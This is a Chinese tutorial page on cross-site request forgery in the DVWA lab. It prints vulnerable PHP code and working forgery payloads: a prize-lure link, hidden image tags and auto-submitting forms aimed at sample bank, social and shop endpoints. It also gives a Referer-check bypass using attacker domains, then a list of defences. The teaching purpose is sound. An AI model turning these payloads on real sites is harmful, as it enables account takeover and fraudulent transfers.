news 2026/2/17 3:04:41

CSRF跨站请求伪造

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CSRF跨站请求伪造

漏洞原理

CSRF工作流程

1. 用户登录网站A,获得Cookie 2. 用户访问恶意网站B(未退出A) 3. 网站B构造请求发送到网站A 4. 浏览器自动携带Cookie 5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

页面功能:修改密码 请求方式:GET URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码

<?phpif(isset($_GET['password_new'])){$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];if($pass_new==$pass_conf){// 修改密码(无任何验证!)$query="UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn,$query);}}?>

漏洞点

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码

<!DOCTYPEhtml><html><head><title>您已中奖!</title></head><body><h1>恭喜您!</h1><p><b><astyle="background-color:red;padding:10px;color:white;"href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p></body></html>

攻击流程

1. 管理员登录DVWA(127.0.0.1) 2. 在同一浏览器打开攻击者网页 3. 点击"点击领取奖品"链接 4. 密码被修改为"hacked" 5. 管理员下次登录失败

自动化攻击

<!-- 用户打开页面就自动触发 --><imgsrc="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"style="display:none"><!-- 或使用JavaScript --><script>document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';</script>

实际危害场景

金融系统攻击

<!-- 转账请求 --><imgsrc="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击

<!-- 关注攻击者 --><imgsrc="http://social.com/follow?user=attacker"><!-- 发布广告内容 --><formaction="http://social.com/post"method="POST"><inputname="content"value="广告内容"></form><script>document.forms[0].submit();</script>

电商平台攻击

<!-- 修改收货地址 --><formaction="http://shop.com/address"method="POST"><inputname="address"value="攻击者地址"></form>

Medium级别绕过

防护代码

if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// 检查Referer头}

绕过方法

<!-- 在攻击者域名中包含目标域名 -->攻击者域名: 127.0.0.1.attacker.com 或创建子域名: 127-0-0-1.attacker.com

CSRF完整防护方案

1. Token验证(最重要)

// 生成Tokensession_start();$_SESSION['csrf_token']=bin2hex(random_bytes(32));// HTML表单<input type="hidden"name="csrf_token"value="<?php echo$_SESSION['csrf_token']; ?>">// 验证Tokenif($_POST['csrf_token']!==$_SESSION['csrf_token']){die('CSRF Token验证失败');}

2. SameSite Cookie

setcookie('session',$value,['samesite'=>'Strict',// 或'Lax''httponly'=>true,'secure'=>true]);

3. 验证Referer

$referer=$_SERVER['HTTP_REFERER']??'';if(strpos($referer,'https://yourdomain.com')!==0){die('非法请求来源');}

4. 二次确认

// 敏感操作要求输入当前密码if($_POST['current_password']!==$user_password){die('当前密码错误');}

5. 验证码

// 敏感操作添加验证码if(!verify_captcha($_POST['captcha'])){die('验证码错误');}

职业安全建议

网络安全职业现状

行业特点

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示

入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/15 15:00:39

企业配音效率翻倍:IndexTTS 2.0商业应用实战

企业配音效率翻倍&#xff1a;IndexTTS 2.0商业应用实战 你是否经历过这样的场景&#xff1a;为一段30秒的广告视频反复调整配音时长&#xff0c;只为精准对齐画面转场&#xff1f;或是为了塑造不同情绪的角色声音&#xff0c;不得不请多位配音演员反复录制&#xff1f;在内容…

作者头像 李华
网站建设 2026/2/17 2:32:58

AutoGLM-Phone-9B部署难题全解析|一站式解决模型下载与安装报错

AutoGLM-Phone-9B部署难题全解析&#xff5c;一站式解决模型下载与安装报错 1. 引言&#xff1a;AutoGLM-Phone-9B 部署挑战全景 AutoGLM-Phone-9B 是一款专为移动端优化的多模态大语言模型&#xff0c;融合视觉、语音与文本处理能力&#xff0c;支持在资源受限设备上高效推理…

作者头像 李华
网站建设 2026/2/16 8:22:15

Arduino IDE下载扩展插件推荐:增强教学功能体验

让Arduino教学更高效&#xff1a;三款你不可不知的IDE增强插件在嵌入式系统和物联网课程中&#xff0c;我们常常面临一个尴尬的局面&#xff1a;学生明明写对了代码&#xff0c;却因为看不懂串口输出的一串数字、连不上Wi-Fi、或者搞混了作业版本而卡住一整节课。作为一线教师&…

作者头像 李华
网站建设 2026/2/14 20:19:53

多通道信号发生器同步调试策略:系统学习

多通道信号发生器同步调试实战指南&#xff1a;从芯片到系统你有没有遇到过这样的场景&#xff1f;两路本该完全同步输出的正弦波&#xff0c;示波器上却总差那么几度相位&#xff1b;或者每次上电后&#xff0c;多通道之间的相对时序都“随机变化”&#xff0c;根本没法做可重…

作者头像 李华
网站建设 2026/2/12 20:26:33

LibRaw完全指南:从零开始掌握专业RAW图像处理

LibRaw完全指南&#xff1a;从零开始掌握专业RAW图像处理 【免费下载链接】LibRaw LibRaw is a library for reading RAW files from digital cameras 项目地址: https://gitcode.com/gh_mirrors/li/LibRaw 你是否曾想过如何在自己的应用中直接处理数码相机拍摄的原始RA…

作者头像 李华
网站建设 2026/2/16 14:02:53

Keil C51连接定位器(LX51)使用全面讲解

深入掌握Keil C51的LX51连接定位器&#xff1a;从配置到实战调优 在嵌入式开发的世界里&#xff0c;8051架构虽已历经数十年&#xff0c;却依然活跃于智能电表、工业控制、传感器节点等对成本和功耗极为敏感的应用场景。而 Keil C51 作为这一领域的经典工具链&#xff0c;至今…

作者头像 李华